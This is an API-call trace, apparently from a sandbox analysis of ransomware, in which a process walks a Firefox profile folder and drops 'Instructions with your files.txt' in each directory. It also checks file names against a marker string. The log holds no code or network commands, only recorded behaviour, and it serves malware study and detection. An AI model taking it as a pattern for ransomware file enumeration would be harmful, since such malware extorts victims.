[0131.518] wnsprintfW (in: pszDest=0x8acc10, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home\\idb") returned 125
[0131.518] GetProcessHeap () returned 0x810000
[0131.518] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8bcc18
[0131.518] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home\\idb\\*") returned 127
[0131.518] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home\\idb\\*", lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb701b090, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb8110d50, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb8110d50, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876e78
[0131.520] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home\\idb\\.") returned 127
[0131.520] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb701b090, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb8110d50, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb8110d50, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.520] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home\\idb\\..") returned 128
[0131.520] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb70ff8d0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb70ff8d0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb70ff8d0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="818200132aebmoouht", cAlternateFileName="818200~1")) returned 1
[0131.520] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht") returned 144
[0131.520] GetProcessHeap () returned 0x810000
[0131.520] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8cdc28
[0131.521] wnsprintfW (in: pszDest=0x8cdc28, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht\\*") returned 146
[0131.521] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht\\*", lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb70ff8d0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb70ff8d0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb70ff8d0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876eb8
[0131.521] wnsprintfW (in: pszDest=0x8cdc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht\\.") returned 146
[0131.521] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb70ff8d0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb70ff8d0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb70ff8d0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.521] wnsprintfW (in: pszDest=0x8cdc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht\\..") returned 147
[0131.521] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb70ff8d0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb70ff8d0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb70ff8d0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
[0131.522] wnsprintfW (in: pszDest=0x8cdc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht\\Instructions with your files.txt") returned 177
[0131.522] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\indexeddb\\moz-safe-about+home\\idb\\818200132aebmoouht\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130
[0131.522] WriteFile (in: hFile=0x130, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cda14, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cda14*=0x54, lpOverlapped=0x0) returned 1
[0131.523] WriteFile (in: hFile=0x130, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cda14, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cda14*=0x18, lpOverlapped=0x0) returned 1
[0131.523] WriteFile (in: hFile=0x130, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cda14, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cda14*=0xc, lpOverlapped=0x0) returned 1
[0131.523] WriteFile (in: hFile=0x130, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cda14, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cda14*=0x16, lpOverlapped=0x0) returned 1
[0131.523] WriteFile (in: hFile=0x130, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cda14, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cda14*=0x23, lpOverlapped=0x0) returned 1
[0131.523] CloseHandle (hObject=0x130) returned 1
[0131.523] FindClose (in: hFindFile=0x876eb8 | out: hFindFile=0x876eb8) returned 1
[0131.523] GetProcessHeap () returned 0x810000
[0131.523] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8cdc28 | out: hHeap=0x810000) returned 1
[0131.523] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb701b090, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb701b090, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb81a92d0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0xa0000, dwReserved0=0x0, dwReserved1=0x0, cFileName="818200132aebmoouht.sqlite", cAlternateFileName="818200~1.SQL")) returned 1
[0131.523] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht.sqlite") returned 151
[0131.523] StrStrIW (lpFirst="818200132aebmoouht.sqlite", lpSrch="SDfghjkl") returned 0x0
[0131.523] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb701b090, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb701b090, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb81a92d0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0xa0000, dwReserved0=0x0, dwReserved1=0x0, cFileName="818200132aebmoouht.sqlite", cAlternateFileName="818200~1.SQL")) returned 0
[0131.524] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home\\idb\\Instructions with your files.txt") returned 158
[0131.524] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home\\idb\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\indexeddb\\moz-safe-about+home\\idb\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c
[0131.524] WriteFile (in: hFile=0x12c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cdca4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cdca4*=0x54, lpOverlapped=0x0) returned 1
[0131.525] WriteFile (in: hFile=0x12c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cdca4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cdca4*=0x18, lpOverlapped=0x0) returned 1
[0131.525] WriteFile (in: hFile=0x12c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cdca4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cdca4*=0xc, lpOverlapped=0x0) returned 1
[0131.525] WriteFile (in: hFile=0x12c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cdca4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cdca4*=0x16, lpOverlapped=0x0) returned 1
[0131.525] WriteFile (in: hFile=0x12c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cdca4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cdca4*=0x23, lpOverlapped=0x0) returned 1
[0131.525] CloseHandle (hObject=0x12c) returned 1
[0131.525] FindClose (in: hFindFile=0x876e78 | out: hFindFile=0x876e78) returned 1
[0131.525] GetProcessHeap () returned 0x810000
[0131.525] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8bcc18 | out: hHeap=0x810000) returned 1
[0131.525] FindNextFileW (in: hFindFile=0x876e38, lpFindFileData=0x22cdf54 | out: lpFindFileData=0x22cdf54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb701b090, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb8110d50, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb8110d50, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="idb", cAlternateFileName="")) returned 0
[0131.525] wnsprintfW (in: pszDest=0x8acc10, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home\\Instructions with your files.txt") returned 154
[0131.525] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\indexeddb\\moz-safe-about+home\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128
[0131.527] WriteFile (in: hFile=0x128, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cdf34*=0x54, lpOverlapped=0x0) returned 1
[0131.528] WriteFile (in: hFile=0x128, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cdf34*=0x18, lpOverlapped=0x0) returned 1
[0131.528] WriteFile (in: hFile=0x128, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cdf34*=0xc, lpOverlapped=0x0) returned 1
[0131.528] WriteFile (in: hFile=0x128, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cdf34*=0x16, lpOverlapped=0x0) returned 1
[0131.529] WriteFile (in: hFile=0x128, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cdf34*=0x23, lpOverlapped=0x0) returned 1
[0131.529] CloseHandle (hObject=0x128) returned 1
[0131.529] FindClose (in: hFindFile=0x876e38 | out: hFindFile=0x876e38) returned 1
[0131.529] GetProcessHeap () returned 0x810000
[0131.529] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8acc10 | out: hHeap=0x810000) returned 1
[0131.529] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb701b090, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb701b090, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb701b090, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="moz-safe-about+home", cAlternateFileName="MOZ-SA~1")) returned 0
[0131.529] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\Instructions with your files.txt") returned 134
[0131.529] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\indexeddb\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
[0131.529] WriteFile (in: hFile=0x124, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce1c4*=0x54, lpOverlapped=0x0) returned 1
[0131.530] WriteFile (in: hFile=0x124, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce1c4*=0x18, lpOverlapped=0x0) returned 1
[0131.530] WriteFile (in: hFile=0x124, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce1c4*=0xc, lpOverlapped=0x0) returned 1
[0131.530] WriteFile (in: hFile=0x124, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce1c4*=0x16, lpOverlapped=0x0) returned 1
[0131.530] WriteFile (in: hFile=0x124, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce1c4*=0x23, lpOverlapped=0x0) returned 1
[0131.530] CloseHandle (hObject=0x124) returned 1
[0131.530] FindClose (in: hFindFile=0x876df8 | out: hFindFile=0x876df8) returned 1
[0131.530] GetProcessHeap () returned 0x810000
[0131.530] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22f1060 | out: hHeap=0x810000) returned 1
[0131.532] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb4815eb0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb4815eb0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x853f60d0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="key3.db", cAlternateFileName="")) returned 1
[0131.532] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\key3.db") returned 99
[0131.532] StrStrIW (lpFirst="key3.db", lpSrch="SDfghjkl") returned 0x0
[0131.532] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x850d63f0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x850d63f0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x850d63f0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x501, dwReserved0=0x0, dwReserved1=0x0, cFileName="localstore.rdf", cAlternateFileName="LOCALS~1.RDF")) returned 1
[0131.532] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\localstore.rdf") returned 106
[0131.532] StrStrIW (lpFirst="localstore.rdf", lpSrch="SDfghjkl") returned 0x0
[0131.532] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb6518ad0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x85572e90, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x39, dwReserved0=0x0, dwReserved1=0x0, cFileName="marionette.log", cAlternateFileName="MARION~1.LOG")) returned 1
[0131.532] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\marionette.log") returned 106
[0131.532] StrStrIW (lpFirst="marionette.log", lpSrch="SDfghjkl") returned 0x0
[0131.532] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb50b6e70, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb5175550, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb5175550, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0xef3, dwReserved0=0x0, dwReserved1=0x0, cFileName="mimeTypes.rdf", cAlternateFileName="MIMETY~1.RDF")) returned 1
[0131.532] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\mimeTypes.rdf") returned 105
[0131.532] StrStrIW (lpFirst="mimeTypes.rdf", lpSrch="SDfghjkl") returned 0x0
[0131.532] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb26740e0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb26740e0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb26740e0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="minidumps", cAlternateFileName="MINIDU~1")) returned 1
[0131.532] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\minidumps") returned 101
[0131.533] GetProcessHeap () returned 0x810000
[0131.533] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22f1060
[0131.533] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\minidumps\\*") returned 103
[0131.533] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\minidumps\\*", lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb26740e0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb26740e0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb26740e0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876df8
[0131.534] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\minidumps\\.") returned 103
[0131.534] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb26740e0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb26740e0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb26740e0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.534] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\minidumps\\..") returned 104
[0131.534] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb26740e0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb26740e0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb26740e0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
[0131.534] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\minidumps\\Instructions with your files.txt") returned 134
